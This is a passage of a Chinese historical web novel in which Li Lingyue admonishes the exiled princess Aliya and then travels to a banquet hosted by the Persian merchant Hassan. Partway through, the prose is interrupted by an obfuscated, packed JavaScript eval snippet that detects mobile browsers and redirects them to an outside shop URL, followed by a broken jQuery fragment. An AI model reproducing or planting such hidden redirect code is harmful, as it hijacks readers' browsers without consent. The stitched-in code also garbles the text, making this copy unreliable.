西塔张口结舌，眼眶绯红，眼泪如断线的珠子般掉落下来！
李灵钥转过头来看着阿利亚：“我昨晚对你说的话是狠，在你心中或许已算为恶魔之语，但都是真话！你曾经是公主，有你父王的用心栽培，眼界比寻常女子广阔，你应当比寻常女子更加明事理！格内什与西塔为了你远离故乡，他们已经尽了力。但他们也只能做到这一步了！他们若不对你的父王与祖父忠诚，没带着你逃出来，而是将你送回到大祭司手中，也能得到大祭司的看重，现下或许还在榜葛剌王宫，还是令人景仰的侍卫头领与大宫女！”
“大周有句俗语：人离乡贱，物离乡贵。说的是人去到异乡便低人一等，而独有的物产去到异乡却能买上好价钱。这个道理放之四海皆准，你也逃不过。除了西塔、迪让和拉哈尔，大周没人当你是公主。即便你现下去到广府官衙，对广府的官员说你是榜葛剌的公主，也没人会当真！他们只会当你疯了！胡言乱语，又找不到你的家人，说不好会将你关入大牢！”
她停了一停，轻声说道：“堂堂公主成为阶下囚，你愿意么？”
阿利亚先是惊愕地捂着嘴，而后用力呼吸，到了后来已身躯颤抖。
西塔伸出手臂将她抱在怀中，抚摸着她的头发，小声道：“曜，求你。”
李灵钥淡淡地：“西塔，这世间的真相只会比我说的话更加残忍！你与格内什对她的保护只能到此了。若格内什不回来了，你们要如何是好？”
西塔张了张嘴，却没说出话来，只是叹息。
李灵钥：“身处大周的阿利亚只是个寻常的榜葛剌女子，与异国客商带来的女眷无差，得小心存活！她要回榜葛剌前便要想明白：回去后是去见大祭司听他分派，等待着生下大祭师的儿孙，而后被他害死？还是带着你们去夺回她榜葛剌的公主之位？不论走哪一条路，阿利亚都得自她还是公主的过往中脱身出来！”
她看着阿利亚：“格内什没让你知晓他的难处，是不愿你忧虑，他与西塔对你尽了全力，但你果真要盲目一生？你果真不明白你如今的处境？格内什将你送到我家中来，是因他尽了力也不能护你周全，不得不借我父亲之力让你有安身处，让想对你下手的人不敢轻动！你现今连我家的中院都走不出去，你还认为你能左右自己的将来？”
“你离开我家，便会被谢赫知晓，他一定会对你下手！而我答应过格内什保护你，我是不会放你离去的！”
李灵钥看了看院门：“将来格内什回来，他会到我家中来，我也让你们随他离开！你们要思虑的是格内什回不来了，你们何去何从？你们不是我家中的奴仆，你们有了立身的本事，能在大周立足了，能应对歹人了，我才会放你们离开。但，在此之前，你们只能好生在我家中呆着！没我的话，你们连这院门都迈不出去！”
这一夜，阿利亚哭得肝肠寸断。
她蜷在榻上，哭得全身颤抖，西塔抱着她，小声用榜葛剌语劝慰，她的呜咽声一直没停止。
李灵钥没去劝解，她仔细回想了她对她们说的话，那些话是用大周北方官话与她学到的榜葛剌语凑成，还夹杂着大食与波斯的词语。
说完后，她也不知阿利亚与西塔是否全听懂了。
但听着阿利亚的痛哭，她知道她们听懂了！
即便她们不能听懂她话的大周北方官话，即便她学得零零碎碎的榜葛剌语也让她们听着费力，但阿利亚和西塔至少将她那番话听懂了八成，才会这样沉痛！
阿利亚的哭声不高，但李灵钥却被扰得睡不着。
她悄悄起身，披上外衣向外走去。
来到清泉的厢房门外，李灵钥拍了拍门。
清泉的话声带着睡意在屋内响起：“何事？”
李灵钥打了个哈欠：“我今晚到你这里歇息。”
片刻后屋门打开，清泉光着脚立在门内：“我这屋内简陋，公子别嫌弃。”
她一面让李灵钥步入屋中，一面往李灵钥住的正屋看去。
李灵钥打了个哈欠：“她们有事，闹得我睡不好，我到你这里挤一宿。”
清泉欲将她自用的铺盖拿去地上铺开，李灵钥已道：“不必了。我就暂且住一住，不必这样折腾。我累了，等不起你折腾。”
清泉连忙将她的枕头与薄被挪到卧榻外侧，轻手轻脚去李灵钥屋内将她的薄被抱来，又取出个枕头放好：“这是我闲时给公子缝的，还有个角没缝好，但也能枕了，公子将就用一用。”
李灵钥倒在榻上，清泉将薄被盖在她身上，围拢好，轻手轻脚在外侧躺下。
哈桑宴请那日，梁贵早早便到市舶司营门来请求通传。
见了李灵钥，梁贵微笑着行了个礼：“哈桑先生让我来接公子去赴宴。”
彼时冯旭州正向李灵钥请教公文。
冯旭州也是自户部商栈调来广府的通译，他在镇海的户部商栈担当波斯国语通译已有一年，对丝绸和茶叶了如指掌，但来到广府，看到那许多译署没教过的奇异货品，两眼一抹黑。
来到的第三日，便拿着公文来向李灵钥请教了。
幸而李灵钥的公文上有三种文字，每一种都有对应，学起来简单得多。但冯旭州依旧在与客商相谈时困难重重。
李灵钥也忙碌，只能在商客还没来前教上一教。
这日办公文的客商还没来到，梁贵便来了
李灵钥想了想，对清泉吩咐：“你请这位先生在廨房外等一等，给先生上茶。”
而后对梁贵道：“我这里尚有公事，先生得等一等。且我还欲请二人同去，其中一人哈桑先生也见过，只是他还没来到，请先生等他来到后，我们一同前去。”
梁贵笑着拱手：“是小人来得冒昧了，我这就到外面去等候。”
冯旭州不会说广府话，听李灵钥的广府话说得清脆之极，小声说道：“李小公子可真厉害，这广府方言我也得好生学上一学。还请李小公子赐教。”
李灵钥：“广府话不难，在此间住些日子，听得多了，冯先生定能学得会。”
她取出几页纸：“这是来到广府的波斯国客商在办公文时常问到的，我大约都记下来了，先生看一看。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047093|177752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冯旭州看了一回：“李小公子思虑可真是周全，有了这个，事半功倍呀！”
霍啸雨来到时，市舶司早已来了不少客商办公文，众人都各自忙碌，冯旭州也相助通译去了。
李灵钥、李青祥连同霍啸雨便跟随梁贵去向哈桑设宴处。
梁贵带了车马同来，车夫马僮都在市舶司营门外等候。
见梁贵引着李灵钥一行人来了，车夫马僮连忙将马匹牵来，将马车车门拉开，放好了脚凳，恭敬地立在一旁。
而靳松云等也牵了马匹前来，市舶司营门外立时就热闹起来。
李灵钥带了清泉登上马车，李青祥与霍啸雨则策马跟在车旁。
车马穿过广府城，出了东门，向东而去。
李灵钥数次去往广府城东田言恩的野店，这时也开了轩窗看向窗外。
马车走到土路分岔处，转而向北。
再走一阵，路边的树木已变得笔直高大，清泉小声道：“公子，此间的树不是荔枝树了，这是何种树木？”
李灵钥坐到轩窗边，对着道边的树细看，只见此间的树都高逾五丈，树皮灰白，树身有纵裂。
来到广府，李灵钥见得多的是荔枝树龙眼树，还见过芒果树与许多不知名的树木。
但那些树木都不算高，现下马车两侧树木比她常见的树木高了许多，是她先前没见过的。
这些树种得很是工整，不似野生野长。
忽然，李灵钥看到有几株树的树身上有道道割痕，有的割开处还渗出淋漓的汁液，有的汁液已干涸，挂在割口，有如黑色琥珀状。
她脑中灵光一闪，小声说道：“这是漆树，漆树汁能制为大漆。”
清泉想了想：“我听闻家中的桌柜箱笼，都是用的大漆漆的。原来这就是漆树。”
她也凑到了轩窗旁，对着道旁的树细看。
此间漆树细看之下还有差别，但种得甚是齐整，必定有人时时打理。
见到这许多漆树，李灵钥知晓此间的土地已是广府梁姓宗族所有。
马车在一所庄院外停住，李灵钥还在马车上就已看到一身华服的哈桑带着人立在庄院门外等候。
她步出马车，霍啸雨与李青祥连跟从来的人都纷纷下马。
梁贵引着他们来到哈桑面前，“诸位大人，这便是哈桑先生。”
而后，他对着哈桑：“这一位便是李小公子，这二位，”
他看着霍啸雨和李青祥不知该如何引见。
李灵钥微笑着行了个礼：“哈桑先生，我们终于又见面了。承蒙先生相邀，机会难得，我还请了市舶司的署提举与我兄长同来，打扰了。”
哈桑衣着华丽，腰中的短刀上镶嵌着无数宝石，他卷曲的头发梳得一丝不乱，发尖与胡须染为了极是惹眼的粉色。
李灵钥说波斯语，哈桑立时带着人给霍啸雨和李青祥行礼，最后对她行过礼，才微笑着说道：“能请到署提举与尊兄同来，实在是我的荣幸。请到园内说话。”
哈桑举手投足间，都有馥郁的香味飘散。